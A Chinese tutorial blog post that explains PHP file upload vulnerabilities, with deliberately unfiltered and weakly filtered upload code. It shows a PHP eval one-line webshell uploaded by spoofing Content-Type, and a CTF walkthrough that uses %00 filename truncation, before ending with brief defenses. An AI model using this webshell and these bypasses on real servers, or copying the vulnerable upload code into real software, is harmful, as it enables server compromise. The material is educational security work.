天天看點

檔案上傳漏洞原理與執行個體測試

為了讓使用者将檔案上傳到網站,就像是給危機伺服器的惡意使用者打開了另一扇門。即便如此,在今天的現代網際網路的Web應用程式,它是一種常見的要求,因為它有助于提高業務效率。企業支援門戶,給使用者各企業員工有效地共享檔案。允許使用者上傳圖檔,視訊,頭像和許多其他類型的檔案。向使用者提供的功能越多,Web應用受到攻擊的風險和機會就越大,這種功能會被惡意使用者利用,獲得到一個特定網站的權限,或危及伺服器的可能性是非常高的。

0x01 為什麼檔案上傳存在漏洞

上傳檔案的時候,如果伺服器腳本語言,未對上傳的檔案進行嚴格的驗證和過濾,就容易造成上傳任意檔案,包括上傳腳本檔案。

如果是正常的PHP檔案,對伺服器則沒有任何危害。

PHP可以像其他的程式設計語言一樣,可以檢視目錄下的檔案,檢視檔案中的嗎内容,可以執行系統指令等。

上傳檔案的時候,如果伺服器端腳本語言,未對上傳的檔案進行嚴格的驗證和過濾,就有可能上傳惡意的PHP檔案,進而控制整個網站,甚至是伺服器。這個惡意的PHP檔案,又被稱為WebShell。

0x02 哪裡存在檔案上傳漏洞

伺服器配置不當

開源編輯器的上傳漏洞

本地檔案上傳限制被繞過

過濾不嚴或被繞過

檔案解析漏洞導緻檔案執行

檔案路徑截斷

0x03 檔案上傳執行個體(本地測試)

裸體的檔案上傳

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

<code>&lt;!DOCTYPE html&gt;</code>

<code>&lt;html&gt;</code>

<code>&lt;head&gt;</code>

<code>    </code><code>&lt;title&gt;檔案資訊&lt;/title&gt;</code>

<code>&lt;/head&gt;</code>

<code>&lt;meta charset=</code><code>"utf-8"</code><code>&gt;</code>

<code>&lt;body&gt;</code>

<code>&lt;form action=</code><code>""</code> <code>enctype=</code><code>"multipart/form-data"</code> <code>method=</code><code>"POST"</code> <code>name=</code><code>"uploadfile"</code><code>&gt;</code>

<code>    </code><code>上傳檔案: &lt;input type=</code><code>"file"</code> <code>name=</code><code>"upfile"</code> <code>/&gt;</code>

<code>    </code><code>&lt;input type=</code><code>"submit"</code> <code>value=</code><code>"上傳"</code> <code>name=</code><code>"submit"</code><code>&gt;</code>

<code>&lt;/form&gt;</code>

<code>&lt;/body&gt;</code>

<code>&lt;/html&gt;</code>

<code>&lt;!-- 完全沒有過濾,任意檔案上傳 --&gt;</code>

<code>&lt;?php</code>

<code>if</code> <code>(isset(</code><code>$_POST</code><code>[</code><code>'submit'</code><code>])) {</code>

<code>    </code><code>var_dump(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>]);</code>

<code>    </code><code>echo</code> <code>"檔案名:"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'name'</code><code>].</code><code>"&lt;br /&gt;"</code><code>;</code>

<code>    </code><code>echo</code> <code>"檔案大小:"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'size'</code><code>].</code><code>"&lt;br /&gt;"</code><code>;</code>

<code>    </code><code>echo</code> <code>"檔案類型:"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'type'</code><code>].</code><code>"&lt;br /&gt;"</code><code>;</code>

<code>    </code><code>echo</code> <code>"臨時路徑:"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'tmp_name'</code><code>].</code><code>"&lt;br /&gt;"</code><code>;</code>

<code>    </code><code>echo</code> <code>"上傳後系統傳回值:"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'error'</code><code>].</code><code>"&lt;br /&gt;"</code><code>;</code>

<code>    </code><code>echo</code> <code>"====================儲存分各線========================&lt;br /&gt;"</code><code>;</code>

<code>    </code><code>if</code> <code>(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'error'</code><code>] == 0) {</code>

<code>        </code><code>if</code> <code>(!</code><code>is_dir</code><code>(</code><code>"./upload"</code><code>)) {</code>

<code>            </code><code>mkdir</code><code>(</code><code>"./upload"</code><code>);</code>

<code>        </code><code>}</code>

<code>        </code><code>$dir</code> <code>= </code><code>"./upload/"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'name'</code><code>];</code>

<code>        </code><code>move_uploaded_file(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'tmp_name'</code><code>],</code><code>$dir</code><code>);</code>

<code>        </code><code>echo</code> <code>"檔案儲存路徑:"</code><code>.</code><code>$dir</code><code>.</code><code>"&lt;br /&gt;"</code><code>;</code>

<code>        </code><code>echo</code> <code>"上傳成功...&lt;br /&gt;"</code><code>;</code>

<code>        </code><code>echo</code> <code>"圖檔預覽:&lt;br /&gt;"</code><code>;</code>

<code>        </code><code>echo</code> <code>"&lt;img src="</code><code>.</code><code>$dir</code><code>.</code><code>"&gt;"</code><code>;</code>

<code>    </code><code>}</code>

<code>}</code>

<code> </code><code>?&gt;</code>

<a href="http://s5.51cto.com/wyfs02/M01/84/75/wKioL1eQ76Sxy2zxAARTCLGSSbw832.png-wh_500x0-wm_3-wmp_4-s_1928545613.png" target="_blank"></a>

設定本地代理用Burp Suite 抓包,通過對比我們可以看到,PHP中的&lt;檔案名&gt;和&lt;檔案類型&gt;分别對應資料包中&lt;filename&gt;和&lt;Content-Type&gt;。

穿上下内衣的檔案上傳

37

38

39

40

41

42

43

44

45

<code>&lt;!-- 按檔案類型過濾 --&gt;</code>

<code>    </code><code>$flag</code> <code>= 0;</code>

<code>    </code><code>switch</code> <code>(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'type'</code><code>]) {</code>

<code>        </code><code>case</code> <code>'image/jpeg'</code><code>:</code>

<code>            </code><code>$flag</code> <code>= 1;</code>

<code>            </code><code>break</code><code>;</code>

<code>        </code><code>default</code><code>:</code>

<code>            </code><code>die</code><code>(</code><code>"檔案類型錯誤....."</code><code>);</code>

<code>    </code><code>if</code> <code>(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'error'</code><code>] == 0 &amp;&amp; </code><code>$flag</code> <code>) {</code>

<code>    </code><code>$dir</code> <code>= </code><code>"./upload/"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'name'</code><code>];</code>

<code>    </code><code>move_uploaded_file(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'tmp_name'</code><code>],</code><code>$dir</code><code>);</code>

<code>    </code><code>echo</code> <code>"檔案儲存路徑:"</code><code>.</code><code>$dir</code><code>.</code><code>"&lt;br /&gt;"</code><code>;</code>

在這段代碼裡,我們通過 &lt;$_FILES['upfile']['type']&gt; 來檢測檔案上傳的類型,通過第一個圖裡的對比我們知道Http資料包請求頭裡的&lt;Content-Type &gt;對應的是上傳檔案的類型,那麼我們是不是可以通過修改資料包的内容來實驗繞過.ok,現在我們上傳一個PHP一句話木馬。

<code>@</code><code>eval</code><code>(</code><code>$_POST</code><code>[</code><code>'xxx'</code><code>]);</code>

<code>echo</code> <code>"dahuiji...."</code><code>;</code>

<a href="http://s4.51cto.com/wyfs02/M02/84/75/wKiom1eQ8A-heWV_AAN7oia3xR0984.png-wh_500x0-wm_3-wmp_4-s_1792065708.png" target="_blank"></a>

看傳回的頁面我們知道我們成功繞過了對檔案類型的檢測,并且菜刀連接配接成功

穿上上内衣的檔案上傳(一個十六進制的&lt;00&gt;截斷的ctf)

<code>url:http://ctf4.shiyanbar.com/web/upload/</code>

<a href="http://s2.51cto.com/wyfs02/M00/84/75/wKiom1eQ8FTiYY4vAAKvHgT5rdc341.png-wh_500x0-wm_3-wmp_4-s_2877217126.png" target="_blank"></a>

首先我們對抓取的資料包做出以上修改

<a href="http://s3.51cto.com/wyfs02/M00/84/75/wKioL1eQ8HDSTJYvAAMqvXprP68080.png-wh_500x0-wm_3-wmp_4-s_1450382984.png" target="_blank"></a>

通過16進制我們知道 &lt;.&gt;的16進制是&lt;2e&gt;在&lt;2e&gt;出插入一個位元組,右鍵菜單裡有&lt;insert byte&gt;插入。

<a href="http://s1.51cto.com/wyfs02/M01/84/75/wKiom1eQ8JOSXUmnAAI3-KDfuXc717.png-wh_500x0-wm_3-wmp_4-s_3187912989.png" target="_blank"></a>

ok,現在我們成功擷取了flag。

現在我們說下這個實驗的實作原理:

<code>1.為什麼在檔案後面加上&lt;.jpg&gt;和在資料包&lt;</code><code>uploads</code><code>/&gt;後面加上修改後的檔案名?</code>

<code>     </code><code>PHP在對檔案字尾進行判斷時是對最後一個 &lt;.xxx&gt; 來判斷的。這樣我們修改過後的檔案</code>

<code>  </code><code>名,PHP會将其判斷為.jpg檔案這樣我們可以繞過對檔案名的檢測。</code>

<code>  </code> 

<code>2.為什麼我們對檔案名修改過後還需要添加%00截斷?</code>

<code>    </code><code>盡管我們知道我們上傳的是一個PHP檔案,但是如果不進行%00截斷,我們上傳的檔案在服務</code>

<code>  </code><code>器上是以&lt;</code><code>xxx.php.jpg</code><code>&gt;格式儲存也就是說這是一個圖檔檔案,PHP是不會解析這個檔案。</code>

<code>  </code><code>當我們進行%00截斷後,伺服器就會将%00後的&lt;.jpg&gt;進行截斷,這是我們的的檔案将以&lt;</code><code>xxx.php</code><code>&gt;</code>

<code>  </code><code>的形式儲存在伺服器上,我們的一句話木馬也就成功的時上傳成功了。</code>

穿上外套的檔案上傳

<code>    </code><code>$path_parts</code> <code>= </code><code>pathinfo</code><code>(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'name'</code><code>]);</code>

<code>    </code><code>echo</code> <code>'---&lt;br&gt;'</code><code>;</code>

<code>    </code><code>var_dump(</code><code>$path_parts</code><code>);    </code><code>//傳回檔案路徑資訊</code>

<code>    </code><code>if</code> <code>(</code><code>$path_parts</code><code>[</code><code>'extension'</code><code>] == </code><code>'jpg'</code> <code>&amp;&amp; </code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'type'</code><code>] == </code><code>'image/jpeg'</code><code>) {</code>

<code>        </code><code>$flag</code> <code>= 1;</code>

<code>    </code><code>}</code><code>else</code><code>{</code>

<code>        </code><code>die</code><code>(</code><code>"檔案類型錯誤...."</code><code>);</code>

上傳一張正常的圖檔。

<a href="http://s5.51cto.com/wyfs02/M01/84/75/wKioL1eQ8Yjz_KUcAAF_fGZhspg079.png-wh_500x0-wm_3-wmp_4-s_161590072.png" target="_blank"></a>

上傳一句話木馬進行繞過檢測

<a href="http://s2.51cto.com/wyfs02/M02/84/76/wKiom1eQ8a_wyICPAAK-fyWsCeQ590.png-wh_500x0-wm_3-wmp_4-s_640744346.png" target="_blank"></a>

<code>為什麼這次不能進行繞過?</code>

<code>     </code><code>我們對檔案名進行截斷後,當資料包到Apache的時候,Apache會對截斷處理這時截斷的檔案</code>

<code>     </code><code>名變為&lt;</code><code>xxx.php</code><code>&gt;當PHP判斷時會發現檔案的字尾為&lt;</code><code>php</code><code>&gt;,然後我們就上傳失敗了....</code>

<code> </code><code>(以上隻是我對上傳失敗的一點了解,歡迎指正。</code>

<code>  </code><code>歡迎技術讨論,可以将上述方法繞過的同學歡迎指教。</code>

<code>  </code><code>緻謝...)</code>

0x04 上傳漏洞的防禦

對面檔案字尾進行檢測

對檔案類型進行檢測

對檔案内容進行檢測

設定上傳白名單

本文轉自 nw01f 51CTO部落格,原文連結:http://blog.51cto.com/dearch/1828635,如需轉載請自行聯系原作者